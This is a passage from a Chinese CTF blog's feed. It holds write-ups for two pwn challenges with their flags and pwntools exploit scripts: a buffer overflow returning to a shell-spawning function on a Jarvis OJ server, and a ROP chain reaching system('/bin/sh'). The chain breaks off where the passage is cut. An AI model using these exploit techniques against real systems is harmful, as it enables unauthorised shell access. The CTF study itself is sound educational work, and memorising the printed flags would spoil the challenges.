&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;rsi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ^&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; end&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;re2
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;re2&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>PWN</title>
    <published>2018-08-14T16:16:08+08:00</published>
    <updated>2018-08-14T16:16:08+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/pwn/" type="text/html" />
    <id>https://emptystack.top/pwn/</id>
    <content type="html">
      &lt;h2 id=&quot;题解&quot;&gt;题解&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;level0&quot;&gt;level0&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;CTF{713ca3944e92180e0ef03171981dcd41}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;vulnerable_function&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;buf&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x80&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;大小，但读取&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x200&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个字符；函数里还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;callsystem。将&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;r&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之前的都随意填充掉，跟上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;callsystem&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的地址就好了。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; remote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;pwn2.jarvisoj.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 9881&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;level0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; + 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;callsystem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;rop_rop_rop&quot;&gt;rop_rop_rop&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;islab{佳婷姐姐强啊！}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Step3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;system(str)，str&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;经过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;step1-3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;被赋值成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&quot;&#x2F;bin&#x2F;sh&quot;，所以要把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;step1-3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都走完。&lt;&#x2F;p&gt;
&lt;p&gt;GetUserInput&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;buf&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ret&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下面，应该没法栈溢出；MyStrcpy&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;复制数组直到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x27;&#x27;，考虑用它给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;buf&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;赋值使&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;main&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数栈溢出。绕过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;p&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;长度检验就用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x27;\0&#x27;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代替&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x27;A&#x27;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;填充好了。&lt;&#x2F;p&gt;
&lt;p&gt;然后我打算构建一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;payload&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一次输入能连着运行三个函数，但实在不知道&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ebp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;该怎么返回、返回到哪，问了学长才知道可以返回到输入函数那里——我完全忘了参数上面还应该有主调函数中下一个指令的地址了，以为返回主调函数全靠&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ebp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;指着的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;prev
ebp……&lt;&#x2F;p&gt;
&lt;p&gt;然后发现传参的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;p32(-1565276971)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;总是报错，找到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;struct.pack(&#x27;i&#x27;,
-1565276971)。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;env python&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# coding:utf-8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; pack&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# io = process(&amp;quot;.&#x2F;rop_rop_rop&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; remote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;10.4.21.55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 9005&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;rop_rop_rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;input_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;func1_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Step1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;func2_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Step2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;func3_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Step3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;arg1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1094795585&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; pack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1565276971&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;arg2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; pack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;14309420&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1094795585&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;arg3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; pack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;202116108&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; pack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1702716798&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;payload1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; + 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;func1_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;input_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; arg1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;payload2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; + 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;func2_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;input_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; arg2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
